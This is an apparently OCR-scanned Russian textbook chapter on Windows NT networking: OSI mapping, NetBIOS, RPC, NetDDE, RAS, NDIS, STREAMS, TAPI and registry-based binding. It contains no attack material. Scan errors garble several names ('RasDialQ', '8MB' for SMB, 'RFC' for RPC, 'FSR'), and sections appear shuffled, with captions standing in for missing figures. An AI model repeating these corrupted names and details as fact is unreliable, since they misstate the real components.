    Канальный уровень делится на два подуровня: подуровень управления логической связью (Logical Link Control, LLC) и подуровень управления доступом к среде (Media Access Control, MAC). LLC управляет взаимодействием с верхним сетевым уровнем и обеспечивает безошибочную передачу фреймов от одного узла к другому. Этот уровень отвечает за установление и завершение логической связи, контроль последовательности фреймов, подтверждение приема фрейма и повтор передачи неподтвержденных фреймов. В сетевой архитектуре Windows NT функции подуровня LLC реализуются в транспортных драйверах (transport driver).

    MAC подуровень управляет доступом к среде передачи, проверяет ошибки во фреймах, распознает адреса полученных фреймов. Подуровень MAC обеспечивает стандартные интерфейсы для сетей Ethernet (со случайным коллективным доступом с контролем несущей и обнаружением конфликтов, Carrier Sense Multiple Access with Collision Detection, CSMA/CD), для сетей, где используется передача маркера на общей шине (ArcNet) и в кольце (Token Ring). В сетевой архитектуре Windows NT функции подуровня MAC реализуются в сетевой карте.

    3. Сетевой уровень. Сетевой уровень контролирует операции подсети. Он решает, какой физический путь должны пройти данные в зависимости от условий передачи, приоритетов сервиса и других факторов. Он отвечает за маршрутизацию, контроль интенсивности трафика, фрагментацию пакетов, распознавание адресов и межсетевой обмен. Это самый низкий из уровней, понимающих топологию сети, то есть физическую конфигурацию машин в ней, тип физических соединений между ними и ограничения пропускной способности, длины используемых кабелей и т.д. .

    Сетевой уровень имеет дело с пакетами, которые могут быть меньше или больше чем фрейм. Если пакет больше, чем фрейм, то сетевой уровень разбивает его на несколько фреймов, и собирает их при получении. Если пакет меньше фрейма, то сетевой уровень объединяет несколько пакетов во фрейм, и разбивает этот фрейм на пакеты при получении.

    В модели Windows NT сетевой и транспортный уровни реализуются в транспортных драйверах, иначе называемых драйверами протоколов верхнего уровня (protocol driver). Windows NT поставляется со следующими транспортными драйверами: TCP/ IP, IPX/SPX, NetBEUI, AppleTalk и DLC.

    4. Транспортный уровень. Транспортный уровень имеет дело с сообщениями, которые могут быть больше или меньше, чем пакеты. Транспортный уровень гарантирует безошибочную доставку сообщений, в нужной последовательности, без потерь и повторов.

    Если стек протоколов не включает подуровень LLC, и если сетевой уровень ненадежный и поддерживает передачу дейтаграмм (например, уровень IP в стеке TCP/IP или IPX в NWLink), то транспортный уровень должен включать контроль последовательности пакетов и их подтверждение, а также повторную передачу неподтвержденных пакетов. Другой пример: так как транспортный драйвер протокола NetBEUI включает функции подуровня LLC, то ему необходимо реализовать лишь минимум функций транспортного уровня.

    5. Сеансовый уровень. Управляет соединением между взаимодействующими приложениями на разных компьютерах, включая синхронизацию высокого уровня, и контроль за тем, какое из приложений «говорит», а какое «слушает». Он знает имена компьютеров в сети.

    Интерфейсы NetBIOS и WinSockets являются примерами типичного программно2 го обеспечения сеансового уровня.

    6. Уровень представления. Предоставляет сервисы, используемые приложениями, такие как шифрование, сжатие, или преобразование символов (PC ASCII в EBCDIC). Отвечает за форматирование данных, в том числе решает, должны ли строки заканчиваться парой символов «возврат каретки/перевод строки» (CR/LF) или только символом «возврат каретки» (CR).

    Примером программного модуля, реализующего уровень представления, является XDR (External Data Representation) под управлением средства удаленного вызова процедур RPC (Remote Procedure Call).

    7. Прикладной уровень. Обрабатывает передачу данных между двумя сетевыми приложениями, включая проверку прав доступа, идентификацию взаимодействующих машин и инициирование передачи данных.

    Прикладной уровень обрабатывает запросы от приложений, например, обращение к базе данных или доставку почты. Этот уровень доступен приложениям напрямую. RPC является примером реализации прикладного уровня. Множество известных протоколов объединяют прикладной уровень и уровень представления, например: именованные каналы и FTP (File Transfer Protocol). Клиенты используют именованные каналы, например, для взаимодействия с Microsoft SQL Server.





  • Интерфейс NetBIOS

    Рисунок . 18. Интерфейс NetBIOS

    Интерфейс NetBIOS





    Интерфейс именованных каналов и почтовых ящиков

    Рисунок . 19. Интерфейс именованных каналов и почтовых ящиков

    Интерфейс именованных каналов и почтовых ящиков

    Позже мы обсудим, как драйвер файловой системы редиректора вовлекается, когда разрешаются имена, определяющие именованные каналы и почтовые ящики на удаленной системе. Однако, когда именованные каналы и почтовые ящики создаются сервером, или открываются клиентом, вовлекается соответствующий драйвер файловой системы на машине, где располагается именованный канал или почтовый ящик.

    Обработка запроса к локальному именованному каналу или прием запроса к нему от удаленного компьютера выполняется файловой системой именованных каналов. Если же запрос к именованному каналу происходит по имени UNC, то обработка выполняется так же, как и для других запросов к удаленным файлам: запрос перехватывается драйвером mup.sys и направляется соответствующему редиректору.




    Интерфейс WinSockets

    Рисунок . 20. Интерфейс WinSockets

    Интерфейс WinSockets

    Провайдер сетевого транспорта Msafddll использует сервисы драйвера файловой системы AFD.sys (Ancillary Function driver, AFD) для реализации функций сокетов. AFD является TDI-клиентом и исполняет сетевые операции с сокетами, такие как посылка и получение сообщений, путем отправки запросов TDI IRP драйверам протоко-

    лов. AFD не запрограммирован для использования определенных драйверов протоколов, поэтому Msafd.dll информирует AFD об имени протокола, используемого определенным сокетом, так чтобы AFD мог открыть объект-устройство, представляющее этот протокол.




    Интерфейс RPC

    Рисунок . 21. Интерфейс RPC

    Интерфейс RPC

    Для регистрации и поиска имен RPC-приложещя связываются с клиентской библиотекой сервиса имен RPC - rpcns4.dll. Эта DLL взаимодействует с подсистемой

    RPCSS (RPCSS.exe для WinNT, RPCSS.dll для Win2000), стартующей автоматически при загрузке ОС, и реализованной как Win32-сервис. Сервис Rpcss сам является RFC-приложением, которое взаимодействует с такими же приложениями на других системах для выполнения поиска имен и регистрации.

    Сервис Rpcss реализует некоторые RPC и OLE сервисы, включая динамическое назначение и разрешение адреса серверного процесса и разрешение DCOM-объектов (Distributed Component Object Model). Также при загрузке ОС автоматически стартует и исполняется в собственном процессе сервис locator.exe — провайдер сервиса имен для RPC. Сервис имен - сервис, отображающий имена в объекты и хранящий пары имя/объект в базе данных. Например, сервис имен RPC locator.exe отображает логические имена в описатели соединений (структуры данных, представляющие логические соединения между клиентом и сервером), чтобы клиентское приложение могло обращаться по этому логическому имени, а не использовать последовательность протоколов и сетевые адреса.

    Библиотека RPC периода выполнения использует для взаимодействия с транспортным протоколом единый интерфейс доступа к транспорту RPC (RPC transport provider interface). Этот интерфейс служит прослойкой между средством RPC и транспортом и предоставляется различными библиотеками. Например:
  • 1. rpcltcl.dll - библиотека клиентского приложения, предоставляющая транспорт именованных каналов;

    2. rpcltsl.dll - библиотека серверного приложения, предоставляющая транспорт именованных каналов;

    3. rpcltc3.dll - библиотека клиентского приложения, предоставляющая транспорт TCP/IP;

    4. rpclts3.dll - библиотека серверного приложения, предоставляющая транспорт TCP/IP.

  • Существуют и другие библиотеки для серверных и клиентских приложений, предоставляющие транспорты NetBIOS, Winsock и т.д.

    Средство RPC может работать поверх большого количества транспортов, однако при работе по сети LAN Manager средство RPC использует в качестве сетевого транспорта именованные каналы.

    Большинство сетевых сервисов Windows NT являются RPC-приложениями, и могут вызываться как локальными процессами, так и процессами на удаленных машинах.



    Приложения могут, либо использовать

    Рисунок . 22

    Приложения могут, либо использовать

    Приложения могут, либо использовать протокол DDE (подключая библиотеку nddeapi.dll), являющийся множеством правил передачи определенных DDE-сообщений, либо могут использовать библиотеку ddeml.dll. Ddeml.dll обеспечивает интерфейс, который облегчает задачу добавления возможностей динамического обмена данными \?1п32-приложениям. Вместо отправления, получения и обработки непосредственно DDE-сообщений по протоколу DDE-приложения используют функции, предоставляемые библиотекой ddeml.dll для управления DDE-взаимодействием между клиентским и серверным приложениями. Эта библиотека также делает возможным серверным приложениям регистрировать имена поддерживаемых ими сервисов. Приложения, использующие протокол DDE, основанный на передаче сообщений, полностью совместимы с приложениями, использующими ddeml.dll, но из-за большого числа преимуществ библиотеки ddeml.dll, новым приложениям предпочтительнее использовать эту библиотеку, чем передачу DDE-сообщений.

    Во время загрузки компьютера автоматически запускается приложение nddeagntexe (Network DDE Agent), которое служит для обнаружения локальной DDE-активности, после чего, этот агент стартует приложения, необходимые для динамического обмена данными. DDE-взаимодейтствия контролируются посредством DDE-окна, ассоцииро-

    ванного с одним из приложений, обеспечивающих DDE (clipsrv.exe, Windows NT DDE Server). Это приложение взаимодействует со всеми локальными и удаленными приложениями, использующими DDE.

    Но Nddeagnt не может обнаружить попытку соединения удаленного клиента. Прежде чем удаленный клиент сможет успешно соединиться с серверным приложением, на серверном компьютере должен стартовать сервис netdde.exe. В качестве транспорта механизм DDE использует средство RPC с транспортом именованных каналов.


    RAS

    Рисунок . 23. RAS

    RAS

    В процесс rasman.exe для согласования с интерфейсом TAPI (Telephony Application Programming Interface) загружается библиотека rastapi.dll (Remote Access TAPI

    Compliance Layer), которая и обращается к функциям интерфейса TAPI, предоставляемым библиотекой tapi32.dll (Microsoft Windows Telephony API Client DLL).

    На удаленном серверном компьютере исполняется процесс RAS-сервера - rassrv.exe (Remote Access Server Supervisorfor). Windows NT обеспечивает поддержку администрирования RAS-сервера приложениями сторонних производителей посредством использования библиотеки rassapi.dll (Remote Access Admin APIs dll).




    Сервисы удаленного доступа (Remote Access Services, RAS)

    Сервисы удаленного доступа (Remote Access Services, RAS)

    Сервер Windows NT поддерживает удаленный доступ (RAS) для создания временных соединений с системами, которые не находятся в локальной сети, обычно это соединения через телефонные линии. Сервер Windows NT включает встроенную поддержку для модемов, устройств Х.25 и ISDN модемов. Один сервер Windows NT может поддерживать одновременно до 255 удаленных соединений. Новый протокол РРТР (Point-to-Point Tunneling Protocol), заявленный в марте 1996, позволяет пользователям использовать «туннели» в любой сети на базе протокола TCP/IP для достижения своих защищенных сетей с удаленного компьютера.

    Функции сервиса RAS позволяют приложениям устанавливать удаленные соединения. Удаленные соединения могут использовать протокол SLIP (Serial Line Internet Protocol), или, более предпочтительный протокол РРР (Point-to-Point Protocol). Сервисом RAS обеспечиваются протоколы РРР аутентификации (PAP, CHAP) и протоколы конфигурирования сети (IPCP, IPXCP, NBFCP, LCP). Когда РРР соединение уже установлено, приложения могут использовать стандартные сетевые интерфейсы, такие как Windows Sockets, NetBIOS, Named Pipes, RPC и взаимодействовать по протоколам: NetBEUI, TCP/IP или IPX/SPX, инкапсулированным в РРР. TCP/IP на основе РРР используется наиболее часто для связи мобильных пользователей с Intranet.

    RAS-приложения на клиентском узле, реализующие удаленный доступ к серверному узлу, могут выполнять задачи по обеспечению RAS двумя способами. Первый способ основан на вызове функций, отображающих диалоговые окна сервиса RAS, обеспечиваемые системой для интерфейса с пользователем. Эти функции предоставляются библиотекой rasdlg.dll и позволяют приложениям легко отображать диалоговые окна, знакомые пользователю, чтобы тот мог выполнять RAS-задачи, такие как установление, завершение и наблюдение за удаленными соединениями, или работать с записной книжкой, содержащей телефонные номера.

    Второй способ основан на использовании непосредственных функций дозвона, предоставляемых RAS-приложениям библиотекой rasapi32.dll (см. Рисунок 23). Клиентское приложение может использовать функцию RasDialQ для установления соединения с RAS-сервером. Функция RasDialQ начинает операцию соединения, которая затем будет выполняться программным компонентом, называемым менеджером удаленных соединений (Remote Access Connection Manager). Диспетчер удаленных соединений является сервисом пользовательского уровня, управляющим деталями установления соединения с удаленным сервером и разделяющим процесс (rasman.exe) с другим сервиcом - менеджером автодозвона (Remote Access Autodial Manager). Диспетчер удаленных соединений стартует автоматически, когда приложение загружает библиотеку rasapi32.dll.

    Сетевая архитектура Windows NT

    Сетевая архитектура Windows NT

    Эта глава посвящена рассмотрению сетевой архитектуры ОС Windows NT. Рассматривается соответствие сетевой архитектуры модели OSI, описаны сетевые интерфейсы, сетевые компоненты, их предназначение и взаимосвязи. Обзор сетевой архитектуры позволит определить, через какие сетевые компоненты и в какой последовательности проходят данные приложений перед тем, как попасть в сеть.

    Windows NT содержит механизмы динамической загрузки и выгрузки встроенной сетевой поддержки, те же самые механизмы могут использоваться для загрузки и выгрузки сетевого программного обеспечения других производителей. После инсталляции сетевое программное обеспечение становится неотъемлемой частью операционной системы, например, сетевые файловые системы, драйверы сетевых протоколов и драйверы сетевых устройств являются расширением подсистемы ввода/ вывода исполнительной системы. Таким образом, в Windows NT сетевое программное обеспечение может задействовать внутренние интерфейсы, предоставляемые компонентами исполнительной системы, ядром и HAL, тем самым, увеличивая свою производительность.

    Дополнительная информация о встроенных сетевых компонентах может быть получена при непосредственном анализе реестра Windows NT, а точнее его ключа HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Services, где, помимо прочих сервисов ОС, хранится информация о сетевых компонентах: сетевых сервисах и сетевых драйверах. По значениям соответствующих подключей можно получить информацию о зависимостях между сетевыми компонентами и их привязках друг к другу. Также можно анализировались таблицы импорта и экспорта различных системных сетевых DLL и сетевых сервисов.



    Сетевой сервер

    Сетевой сервер

    Этот компонент должен отвечать на удаленные запросы, полученные от редиректора на клиентской стороне, взаимодействуя с локальной файловой системой или принтером. Сетевой сервер реализован в виде драйвера: в одних источниках утверждается, что сервер является драйвером файловой системы (согласно реестру тип этого компонента также драйвер файловой системы), а в других - обычным драйвером.

    Сетевой сервер обеспечивает совместимость с существующими протоколами 8MB MS-NET и LAN Manager, и обрабатывает запросы, приходящие не только от систем Windows NT, но также и от других систем, на которых работает программное обеспечение LAN Manager. Так как сервер находится в исполнительной системе, то он может непосредственно вызывать диспетчер кэша для оптимизации передачи данных. Если требуемых данных в кэше не оказывается, то сервер создает собственные пакеты зап роса ввода/вывода IRP и посылает их непосредственно драйверам локальных.файло вых систем NTFS, FAT и HPFS.

    В 1996 году Microsoft представила на рассмотрение организации IETF специфика цию сетевого протокола Common Internet File System (CIFS) 1.0, являющимся последним расширением и улучшением протокола SMB.



    Сетевые API Win32 (Wnet и Net)

    Сетевые API Win32 (Wnet и Net)

    Windows NT обеспечивает множество независимых от сети WNet-функций, которые позволяют работать через провайдеров разных сетей.

    Функции этого интерфейса полезны таким приложениям, как File Manager, которые выполняют соединение с удаленными файловыми системами и их просмотр. Функции WNet можно использовать для просмотра файловых систем Microsoft и других файловых систем по сетям LAN Manager, NetWare, VINES и т.д. Вызовы интерфейса API WNet, реализованного в виде DLL, проходят через сетевой компонент, называемый сервисом рабочей станции. Этот сервис - серверный процесс, похожий на защищенную подсистему. Сервис рабочей станции является, в сущности, надстройкой пользовательского режима для редиректора. Он поддерживает API WNet, предоставляет функции конфигурации редиректора и содержит код пользовательского режима для получения статистики редиректора. Когда приложение вызывает функции API WNet, этот вызов в начале поступает сервису рабочей станции, а затем уже к диспетчеру ввода/вывода и далее к редиректору.

    Net-функции, предоставляемые сетевым интерфейсом Net, поддерживаются в «сетевой ОС» Microsoft LAN Manager, основанной на OS/2. В Windows NT большая часть сетевой функциональности является встроенной, поэтому некоторые из первоначальных Net-функций уже не поддерживаются. В Windows NT множество Net-функций, предоставляемых библиотекой netapi32.dll, дополняет встроенную сетевую функциональность, не обеспечиваемую другими сетевыми интерфейсами. Например, Net-функции позволяют приложениям взаимодействовать с сервисом рабочей станции, сервисом сервера, сервисом оповещений, сервисом передачи сообщений, репликатором и т.д.

    Если существует базовая функция или WNet-функция, требуемая приложению, то лучше использовать ее, чем эквивалентную Net-функцию по двум причинам. Во-первых, WNet-функции являются независимыми от сети, в то время как Net-функции работают только в сетях Microsoft Windows. Во-вторых, некоторые из Net-функций могут быть замещены функциями базовых сетевых интерфейсов или WNet-функциями, и не поддерживаться в будущих версиях Windows NT.




    Сетевые API

    Сетевые API

    Windows NT реализует несколько сетевых API для обеспечения поддержки сетевых приложений и совместимости с промышленными стандартами. Важно иметь в виду, что решение о том, какое API должно использовать приложение, зависит от характеристик API. Таких характеристик как, например, поддерживает ли API надежное или двунаправленное взаимодействие, над каким протоколом располагается API, переносимость API на другие Windows-платформы, на которых должно исполняться приложение. Итак, Windows NT предоставляет несколько способов получения доступа к сети, то есть несколько механизмов межпроцессных коммуникаций, часть которых описана ниже.




    Сетевые файловые системы

    Сетевые файловые системы

    Сетевые файловые системы позволяют пользователям разделять свои локальные диски с другими пользователями в локальной или глобальной сети. Любая сетевая файловая система состоит из двух компонентов: сетевого редиректора на клиентской стороне и сетевого сервера на узле с разделяемым диском.




    Сетевые сервисы

    Сетевые сервисы

    Сетевые сервисы - это процессы, похожие на защищенные подсистемы. В отличие от защищенных подсистем, сетевые сервисы, имеющие собственные API, обычно используют RPC, а не LPC для обмена сообщениями со своими клиентами. Применение RPC делает сервисы доступными процессам, как на локальной, так и на удаленной машине. За загрузку и запуск сервисов отвечает компонент, называемый контроллером сервисов (service controller). Он также предоставляет средства загрузки и выгрузки драйверов. Примерами сетевых сервисов являются: 1) сервис рабочей станции (LanmanWorkstation), выполняющий администрирование встроенного редиректора; 2) сервис оповещений (alerter), выполняющий рассылку оповещений подключенным пользователям, например, при переполнении жесткого диска; 3) сервис сообщений (messager), выполняющий прием сообщений от других систем, например, уведомлений о том, что завершено выполнение задания на печать. '

    Почти все сетевые сервисы, такие как сервис рабочей станции, сервис сервера (LanMan Server), сервис оповещений, сервис сообщений, обозреватель сети (Computer Browser), DHCP-клиент (DHCP client) содержатся в одном ЕХЕ-файле с именем services.exe. Остальные исполняются в собственных процессах, например, сервис WINS (Windows Internet Name Service) - это сервис динамической регистрации и разрешения имен, отображающий NetBIOS-имена компьютеров в IP-адреса. Сервис системы доменных имен DNS (Domain Name System), преобразующий DNS-имена в IP-адреса.

    А также ранее упомянутые при рассмотрении сетевых API сервисы: rpcss.exe (RPC and Distribute СОМ сервисы), locator.exe (провайдер сервиса имен для RPC),

    nddeagnt.exe (Network DDE агент), tapisrv.exe (сервер, обеспечивающий телефонные сервисы).

    В Win2000 появился сервис репликации файлов (File Replication Service, FSR), главная задача которого состоит в репликации содержимого директории контроллера домена \SYSVOL, в которой контроллер домена хранит скрипты входа в домен и групповую политику. В дополнение FSR может быть использован для репликации разделяемых файлов распределенной файловой системы (Distributed File System) между системами. FSR реализован как Win32-cepBnc Ntfrs.exe, который использует RPC с аутентификацией и шифрованием для взаимодействия между своими же экземплярам, исполняющимися на других компьютерах.




    Соответствие сетевой архитектуры Windows NT модели OSI

    Соответствие сетевой архитектуры Windows NT модели OSI

    Чтобы помочь производителям в стандартизации и интегрировании их сетевого программного обеспечения, Международная организация по стандартизации (ISO) определила программную модель пересылки сообщений между компьютерами - модель соединения открытых систем (Open System Interconnection reference model, OSI). В модели определены семь уровней программного обеспечения.

    Сетевой запрос должен спуститься до самого нижнего уровня на клиентской машине, затем он передается по физическому носителю и вновь поднимается на серверной машине до уровня, который его поймет и обработает. Каждый уровень иерархии считает, что он общается с аналогичным уровнем на другой машине и использует некоторый стандартный протокол. Набор протоколов, в соответствии с которыми запрос проходит вниз по уровням и обратно, называется стеком протоколов.

    На Рисунок 17 представлен общий вид сетевых компонентов Windows NT, а также их соответствие уровням модели OSI. Модель OSI далеко не всегда точно соответствует

    коммерческим сетевым программным продуктам, реальные программные модули которых объединяют несколько уровней модели OSI или разбивают один уровень на несколько.

    Среда NDIS

    Среда NDIS

    В 1989 г Microsoft и 3Com совместно разработали спецификацию интерфейса взаимодействия между подуровнем MAC канального уровня модели OSI и драйверами протоколов, располагающихся на вышележащих уровнях. Стандарт получил название Network Driver Interface Specification (NDIS - спецификация интерфейса сетевых драйверов). Он играет ключевую роль в сетевой архитектуре NT и служит для отделения логики работы драйвера сетевой карты от особенностей реализации различных сетевых протоколов.

    С тех пор NDIS превратилась в целую семью сетевых стандартов, и сейчас эта семья включает стандарты для драйверов сетевых карт локальных и глобальных сетей (LAN NIC driver и WAN NIC driver), и стандарты для промежуточных драйверов (intermediate driver), располагающихся между драйверами протоколов и драйверами сетевых карт.

    Вместо того чтобы писать несколько транспортно-зависимых драйверов, производители сетевого оборудования реализуют интерфейс NDIS на самом верхнем уровне одного драйвера сетевой карты. Это позволяет любому драйверу протокола работать с данной сетевой картой, вызывая функции этого интерфейса. Таким образом, пользователь может работать и по протоколу TCP/IP, и по протоколу NetBEUI, при помощи одной сетевой карты и одного драйвера этой сетевой карты.

    Библиотека NDIS является драйвером, реализующим взаимодействие между компонентами, которые обращаются к ней, такими как: драйверы транспортов, NDIS драйверы промежуточного уровня, драйвер ndiswan.sys, драйвер ndistapi.sys, NDIS драйверы сетевых карт локальных и глобальных сетей. Интерфейс, реализуемый NDIS библиотекой, является «call and return» интерфейсом (асинхронным интерфейсом). Драйверы вызывают функции, расположенные в NDIS библиотеке, a NDIS библиотека может в свою очередь вызывать функции из других драйверов, чтобы выполнить операцию. Пакеты запроса ввода/вывода (IRP) не используются в NDIS спецификации.

    Так как NDIS драйверы существуют в среде, созданной NDIS библиотекой, то структура и интерфейс, используемые этими драйверами, определяются NDIS библиотекой. Это позволяет NDIS драйверам быть переносимыми между различными операционными системами, поддерживающими данную спецификацию.

    Цели NDIS библиотеки следующие:
  • Изолировать NDIS драйверы сетевых карт и промежуточные драйверы от операционной системы. NDIS библиотека экспортирует множество стандартных функций и макросов, которые скрывают детали операционной системы, и используются всеми NDIS драйверами. NDIS драйверы могут вызывать только те функции, которые обеспечивает NDIS библиотека. Например, создание таймера для целей синхронизации, или создание связанного списка осуществляется через NDIS. Требование к разработчикам применять вызовы NDIS функций позволяет сделать код переносимым между операционными системами фирмы Microsoft, которые поддерживают NDIS.

  • Выполнять как можно больше общих операций. Одной из основных целей NDIS библиотеки является исключение кодов общих функций из NDIS драйверов. Это означает, что большинству NDIS драйверов необходимо реализовать только небольшое число функций, необходимых для выполнения операций, специфических для оборудования. NDIS библиотека поддерживает информацию о статусе операции, указатели на функции интерфейсов верхнего и нижнего уровней, параметры этих функций, и многие другие системные значения для драйверов протоколов и драйверов сетевых карт.

  • Обеспечивать добавление заголовков к данным пользователя без необходимости их перекопирования, во время передачи данных по стеку сетевых драйверов. Во время перемещения сетевого сообщения по стеку драйверов сверху вниз, на каждом уровне к первоначальному сообщению может быть добавлен свой заголовок (реже хвост). NDIS спецификация делает возможным добавление подобных структур спереди или сзади без необходимости перекопирования первоначального сообщения. Эта возможность построения сетевого сообщения без перекопирований данных позволяет достигать высокой производительности при передаче данных.

  • NDIS-библиотека получает IRP-пакеты от TDI-транспортов и транслирует их в вызовы функций NDIS-драйверов. Для передачи данных между NDIS-драйверами пакеты IRP не используются. Вместо них используются, например, NDIS-пакеты, описанные в разделе «Особенности реализации NDIS-драйверов».




    Среда STREAMS

    Среда STREAMS

    STREAMS, основанная на UNIX STREAMS, является средой для существующих STREAMS-совместимых транспортных драйверов, которая обеспечивает переносимость этим драйверам в ОС Windows NT из других ОС с незначительными модификациями или вовсе без изменений. Один или несколько драйверов, расположенных друг над другом, окружаются сверху и снизу средой Streams и формируют провайдера сетевого транспорта. Среда STREAMS обеспечивает:
  • Интерфейс TPI (Transport Provider Interface) - интерфейс верхней части транспортного стека. STREAMS транслирует этот интерфейс в «родной» интерфейс транспорта Windows NT - TDI.

  • Интерфейс DLPI (Data Link Provider Interface) - интерфейс нижней части транспортного стека. STREAMS транслирует этот интерфейс в «родной» для Windows NT интерфейс канального уровня - NDIS 3.0.

  • Дополнительные функции для облегчения переноса, включая функции использования таймера ОС UNIX.



    Средство динамического обмена данными (Network Dynamic Data Exchange, NetDDE)

    Средство динамического обмена данными (Network Dynamic Data Exchange, NetDDE)

    Network DDE используется для установления и поддержания сетевых соединений, необходимых для динамического обмена данными между приложениями, выполняющимися на разных компьютерах в сети. Для реализации динамического обмена данными, приложениям необходимо использовать библиотеки nddeapi.dll (см. Рисунок 22) или ddeml.dll (DDE Management Library - библиотека управления динамическим обменом данными).

    Средство удаленного вызова процедур (Remote Procedure Call, RFC)

    Средство удаленного вызова процедур (Remote Procedure Call, RFC)

    Средство удаленного вызова процедур позволяет создавать распределенные приложения, вызывающие функции, реализованные как локально, так и на удаленных компьютерах. RPC предоставляет модель работы с сетью, ориентированную на процедуры, а не на транспорты, что позволяет упростить разработку распределенных приложений. Библиотека RPC (rpcrt4.dll) и компилятор MIDL (Microsoft Interface Definition Language, MIDL - язык описания интерфейса фирмы Microsoft) позволяют программистам с легкостью создавать распределенные приложения.

    Библиотека RPC периода выполнения включает процедуры для управления RPC по сети, а также разновидность RPC, называемою локальным RPC. Локальный RPG может быть использован для взаимодействия между двумя процессами, располагающимися на одной и той же машине, для этого библиотека RPC периода выполнения использует средство LPC в режиме ядра в качестве локального сетевого API. Когда RPC базируется на нелокальных механизмах взаимодействия, библиотека RPC использует такие интерфейсы как Winsock и именованные каналы (см. Рисунок 21).

    Связь между сетевыми программными компонентами

    Связь между сетевыми программными компонентами

    В Windows NT различные сетевые программные компоненты связаны в определенной логической иерархии. Например, каждый драйвер транспорта может быть связан с одним или более сетевым адаптером через соответствующие драйверы сетевых карт. Сетевые компоненты более высокого уровня, такие как редиректор, могут быть связаны с одним или несколькими драйверами транспорта.

    При установке сетевых компонентов информация о них записывается в реестр Windows NT, который описывает порядок, в котором сетевые компоненты должны загружаться, и как они должны быть связаны друг с другом. Приложением, которое управляет установкой и связыванием сетевых компонентов, является Network Control Panel Application (NCPA).

    При установке сетевого компонента NCPA ищет специальный файл с расширением .inf в разделе, определенном пользователем. Если устанавливаемый сетевой драйвер не поставляется вместе с Windows NT, то разработчик этого драйвера должен поставлять файл oemsetup.inf, содержащий сценарий и правила установки драйвера.

    После компиляции и исполнения .inf файла NCPA проводит анализ того, как данная сетевая компонента должна быть связана с другими компонентами, используя правила RawRules и NetRules. RawRules - правила по умолчанию, определяемые системой, и хранимые в реестре в ключе HKEY_LOCAL_ MACHINE \ SOFTWARE \ Microsoft \ Ncpa \ CurrentVersion \ RawRules. Правила NetRules - правила, определяемые разработчиками, и специфичные для данной компоненты, они содержатся в только что созданном при установке сетевой компоненты ключе HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ <имя сетевой компоненты> \ CurrentVersion \ NetRules.

    В конце этого процесса NCPA создаст (или обновит) ключ HKEY_LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \ Services \ <имя сетевой компоненты^ \ Linkage.

    NCPA включает следующие поля в этот ключ:
  • Bind. Список имен устройств сетевых компонент, с которыми данная сетевая компонента будет связана.

  • Export. Список имен объектов-устройств, которые будут добавлены в пространство имен объектов Windows NT, чтобы сделать возможным доступ к этой компоненте. Этот список содержит по одному имени объекта-устройства для каждой компоненты, с которой данная компонента будет связана внизу.

  • Route. Содержит список строк, где каждая строка показывает точный путь в стеке сетевых компонент.

  • После того как NCPA создаст все возможные связи, пользователь может, используя диалоговое окно Bindings в NCPA, Посмотреть результирующие привязки и, если

    необходимо, блокировать (или разрешить) некоторые привязки. Это вызовет удаление (или восстановление) соответствующих значений в поле Bind подключа Linkage выбранной сетевой компоненты.

    При загрузке ОС контроллер сервисов использует информацию в реестре для загрузки сетевых компонентов согласно иерархии связей. Во время инициализации сетевой компонент может определить, к каким компонентам более низкого уровня ему нужно привязаться, прочитав из ключа реестра Linkage значения поля Bind.



    TAPI (Telephony Application Programming Interface)

    TAPI (Telephony Application Programming Interface)

    Интерфейс TAPI - множество функций, позволяющих запрограммировать устройства, передающие данные по телефонным линиям, не зависящим от конкретного устройства образом, предоставляя пользователям возможность взаимодействия по телефону. TAPI поддерживает передачу речи и данных, обеспечивает множество типов соединений и управление вызовами. TAPI позволяет приложениям использовать все возможности телефона, например, поддержку конференций и передачу звуковой почты.

    В Windows NT подсистема обеспечения взаимодействия по телефону состоит из следующих компонентов (см. Рисунок 24):
  • 1. TAPI-сервер tapisrv.exe (telephony service), реализующий TAPI функции;

    2. библиотеки динамической загрузки tapi.dll и tapi32.dll, взаимодействующие посредством механизма RPC с TAPI-сервером;

    3. один или несколько провайдеров телефонных сервисов (telephony service providers), загружаемых TAPI-сервером.

  • Приложения полагаются на существование провайдеров телефонных сервисов, которые предоставляют интерфейс TSPI (Telephony Service Provider Interface). Провайдеры телефонных сервисов могут быть разработаны для различных технологий, включая: 1) POTS (Plain Old Telephone Service) для передачи голоса и данных в аналоговом формате по абонентской линии, а далее везде в цифровом виде; 2) ISDN (Integrated Services Digital Network) для передачи в цифровом виде; 3) Т1/Е1 для цифровой передачи со скоростью 1.544 Mbps; 4) Switched 56 и т. д.

    Провайдер сервиса является библиотекой динамической загрузки (иногда в его состав входит драйвер устройства), реализующей зависящие от устройства действия для выполнения телефонных операций на оборудовании, таком как телефон, модем, факс или ISDN карта. Таким образом, провайдер во взаимодействии с библиотеками интерфейса TAPI, предохраняет приложения от деталей, зависящих от типа сервиса и технологий коммуникаций по телефонным сетям.

    Приложения вызывают функции только из библиотек tapi.dll (16-разрядные приложения) и tapi32.dll (32-разрядные приложения), они никогда не вызывают функции провайдеров напрямую. Библиотека tapi.dll является тонкой прослойкой, которая отображает 16-разрядные адреса в 32-разрядные, и передает запросы tapi32.dll. Библиотека tapi32.dll проверяет параметры функции и направляет запрос на выполнение сервису tapisrv.exe, а когда нужно загружает в процесс TAPI-приложения библиотеки, обеспечивающие интерфейс с пользователем (Telephony service provider user interface DLLs), в том случае, если провайдер реализует какие-либо элементы интерфейса с пользователем Tapisrv.exe, исполняющийся> в собственном процессе, является ядром TAPI. Tapisrv.exe обрабатывает вызов и передает запрос соответствующему провайдеру сервиса. Получив запрос от tapisrv.exe, провайдер сервиса должен реализовать интерфейс TSPI. Все провайдеры телефонных сервисов исполняются в процессе tapisrv.exe и могут создавать необходимые для них потоки в контексте этого процесса.

    DLL провайдера может использовать любые системные функции, включая CreateFileQ и DevicelOControlQ, для работы с драйверами оборудования независимых поставщиков, а также с драйверами стандартных устройств, таких как последовательные и параллельные порты. Они также могут обращаться к сетевым интерфейсам, таким как RPC, Windows Sockets, Named Pipes для клиент-серверного взаимодействия.

